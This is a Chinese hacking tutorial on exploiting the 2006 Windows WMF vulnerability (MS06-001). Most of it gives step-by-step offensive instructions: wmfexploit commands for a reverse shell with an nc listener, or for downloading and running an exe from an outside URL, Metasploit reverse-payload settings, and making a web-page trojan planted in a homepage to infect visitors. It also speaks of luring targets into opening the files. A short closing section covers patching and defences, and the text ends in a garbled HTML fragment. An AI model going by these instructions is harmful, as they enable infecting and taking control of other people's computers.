就在刚迈入2006年之际,Windows系统出现了一个严重的漏洞,这就是Microsoft Windows图形渲染引擎wmf格式代码漏洞(ms0601)。这个漏洞出现在Windows的图形渲染引擎中,黑客可以构造恶意的wmf文件,引诱其他用户打开,当系统没有更新过wmf补丁时,将会执行黑客事先设置好的恶意代码,获取系统的最高权限,从而完全听命于黑客。就在漏洞公布几天后,网络上使用wmf漏洞进行传播的病毒、攻击事件不断,直至今日,网上仍然充斥着无数利用wmf漏洞的攻击。本文将向大家介绍有关wmf漏洞的知识及防范方法。
由于wmf漏洞涉及的Windows系统版本很多,包括从Windows 98到Windows 2003之间的所有系统版本,因此危害十分巨大。目前利用wmf漏洞的攻击主要包括两类:1.溢出攻击 2.利用漏洞制作的网页木马。前者可以让黑客得到系统的最高权限,后者则可以将受害者的电脑成为黑客的肉鸡。下面我们先来看看黑客是如何利用wmf漏洞的。
一.使用专用溢出工具
wmf漏洞的溢出工具在漏洞公布的几天后就出现在网上,虽然公布时间较早,存在一些缺陷,但是仍然能轻松得将存在漏洞的主机溢出。这款溢出工具名叫wmfexploit。下载后将其解压到c盘(由于溢出程序会被杀毒软件认为是病毒,因此测试时需要将杀毒软件关闭),点“开始”→“运行”,输入“CMD”运行“命令提示符”。在“命令提示符”中进入c盘,输入wmfexploit后就可以查看其使用说明了。其溢出方式有两种:1.反向溢出式 2.主动下载执行式。
1.反向溢出,穿透防火墙
反向溢出的最大好处就是可以穿透防火墙。同时由于wmf漏洞的特殊性,我们无法通过漏洞扫描器来确定哪台主机存在漏洞,因此可以使用反向连接,让有漏洞的主机主动连接本机。
在“命令提示符”中运行wmfexploit后,可以查看其反向溢出的使用说明。其使用方法如下:wmfexploit 1 。其中数字1代表的是溢出方式为反向连接,“ ”表示本机的IP地址和端口,这项的作用是在本机开启一个web服务,使目标可以访问本机的恶意wmf文件,从而造成溢出。最后的“ ”则是反向溢出返回shell时监听的IP地址和端口。这里举例为“wmfexploit 1 192.168.0.1 777 192.168.0.1 888”。设置好后回车,溢出程序会显示绑定成功!
图1.成功设置反向连接
设置完成后,我们进入“命令提示符”,然后运行著名的网络工具nc,输入如下命令“nc -vv -l -p 888”,这样nc就开始监听本机的888端口。接着我们就可以引诱目标访问我们的恶意wmf文件了。将网址“http://192.168.0.1:777/any.wmf”发给对方即可。当目标打开这个地址时,就会运行我们捆绑有溢出信息的wmf文件。我们回到用nc监听的窗口,可以看到,目标主机已经成功溢出了。
图2.溢出后得到一个shell
提示:上文中提到的IP地址192.168.0.1,属于内网IP,只是方便进行本机测试,如果想对外网的主机进行测试,则需要将本机的内网IP改为外网IP。
2.下载执行,直接运行木马
除反向溢出外,wmfexploit还有一种溢出方式就是下载执行式。当目标主机运行恶意wmf文件发生溢出后,不会将shell发送到本机监听的端口上,而是直接从指定的网址上下载一个exe文件运行,这个文件可以是木马,也可以是其他程序。当然我们还需要有一个网页空间,用来放置需要执行的exe文件。
查看下载执行式溢出的使用方法:wmfexploit 2 。数字2表示将溢出方式改为下载执行式,最后的表示exe文件所在的网址。举例为“wmfexploit 2 192.168.0.1 777 http://www.***.com/123.exe”。设置完成后我们不需要用nc进行监听,只需发送网址“http://192.168.0.1:777/any.wmf”即可。
二.使用图形化的溢出测试系统
metasploit是一款著名的溢出测试系统,几乎可以对目前所有的溢出漏洞进行测试,可以说是所有溢出程序的整合。当然其不是简单得将溢出程序堆放在一起,而是提供了一个方便操作,针对性强的溢出测试平台。这个测试系统的最大优点是使用了一个完全图形化的操作界面,这对于菜鸟进行溢出测试是很方便的。
下载安装metasploit。完成后点击“开始”,运行程序组中的“MSFUpdate”,程序会弹出一个“命令提示符”窗口,显示需要更新的文件列表,输入“yes”回车后就可以开始进行溢出程序更新。更新完毕后运行“MSFweb”,用于开启本机的metasploi浏览服务。然后打开浏览器,在地址栏中输入“http://127.0.0.1:55555”,就可以打开metasploi的操作界面。选择溢出列表中的“Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution”进入漏洞信息界面,然后点击最下方的“0 - Automatic - Windows XP / Windows 2003 / Windows Vista (default)”进行测试,在接着出现的“Select Payload:”选项中选择“win32_reverse”。最后来到溢出相关信息的填写处,在选项中只需设置“HTTPHOST”、“HTTPPORT”、“LHOST”、“LPORT”四项即可,其他保持默认。设置方法和原理与wmfexploit相似,在此不再阐述。
图3.在metasploit中填写溢出信息
同样将恶意wmf文件的地址发给目标,当对方发生溢出后,我们点击进入metasploit界面上的“SESSIONS”就可以得到一个管理员权限的shell了。
提示:在使用metasploi之前务必进行更新,否则很可能没有wmf漏洞相关的测试选项。
三.利用漏洞制作网页木马
wmf漏洞造成的最大影响就是网络上网页木马满天飞,由于杀毒软件对图片文件的检测功能不够强大,因此利用wmf漏洞制作的网页木马很容易成功,也成了最近网页木马中的主角。下面我们来了解一下wmf网页木马的制作。
首先我们需要准备一款木马程序,这里推荐类似灰鸽子的反弹连接型木马,这样当有目标发生溢出时会通过木马主动连接我们的主机,而无需我们主动连接,方便了对肉鸡的管理。然后将配置好的木马程序服务端放置到网页空间上(可申请免费空间进行存放)。
下载wmf木马的制作程序ms0601。下载完成后在“命令提示符”中运行,可以看到使用方法很简单:ms0601 [THE URL OF EXEFILE],直接输入木马文件所在的网址即可。回车后就可以在同目录下生成一个exploit.wmf文件,运行这个wmf文件将会触发溢出并自动从网页上下载木马文件执行。
将exploit.wmf文件上传到网页空间中。最后我们需要在网站主页的源代码中插入如下一句代码:。这样当别人访问主页时,将不会弹出新的浏览器窗口,而是直接运行exploit.wmf进行溢出。
四.填漏洞,防木马
由于wmf漏洞的公布时间较晚,因此网络上还有很多没有打好补丁的系统。无论是溢出还是网页木马,成功率都很高,这也给病毒和木马的传播提供了途径。在了解了黑客如何利用wmf漏洞后,我们再来看看如何才能填补漏洞,防范利用wmf漏洞的网页木马。
1.反注册dll文件
由于需要使用Windows Picture查看恶意wmf文件时才会触发溢出,因此如果不方便打系统补丁,可以先尝试反注册Windows Picture的dll文件Shimgvw.dll,反注册后Windows Picture将不能再运行,溢出也就不存在了。
反注册方法为:点“开始”→“运行”,输入“regsvr32 -u %windir%/system32/shimgvw.dll”即可。如果想恢复使用Windows Picture,可以输入“regsvr32 %windir%/system32/shimgvw.dll”重新注册。
图4.反注册Shimgvw.dll
2.使用漏洞补丁
目前微软已经发布了该漏洞的补丁程序,下载地址:http://www.microsoft.com/technet/security/Bulletin/MS06-001.mspx,这是最彻底也是最安全的修补方式。
如果不方便打微软提供的系统补丁,可以推荐使用第三方制作的补丁程序:
3.警惕未知图片文件
如果恶意的wmf文件放在网页空间中,我们在访问这个恶意wmf文件时会产生不同的情况,Win2000主要表现为出现下载提示框,要求下载wmf文件。而WinXP和Win2003则会弹出Windows图片查看器,图片的内容则无法显示。碰到这种情况时,我们就应该小心了,很有可能这个wmf文件就带有溢出信息。当然不一定只有wmf为后缀的图片文件才可能触发溢出,其他诸如jpg"CURSOR: pointer" onclick=javascript:window.open(this.src); src="http://www.9php.com/college/UploadPic/2006/8/27/2006827234718709.jpg" onload="return imgzoom(this,550)" align=baseline border=0>
图5.打开恶意wmf文件时的表现
此外,升级杀毒软件是必须的,最新的杀毒软件病毒库都已将恶意wmf文件列为病毒。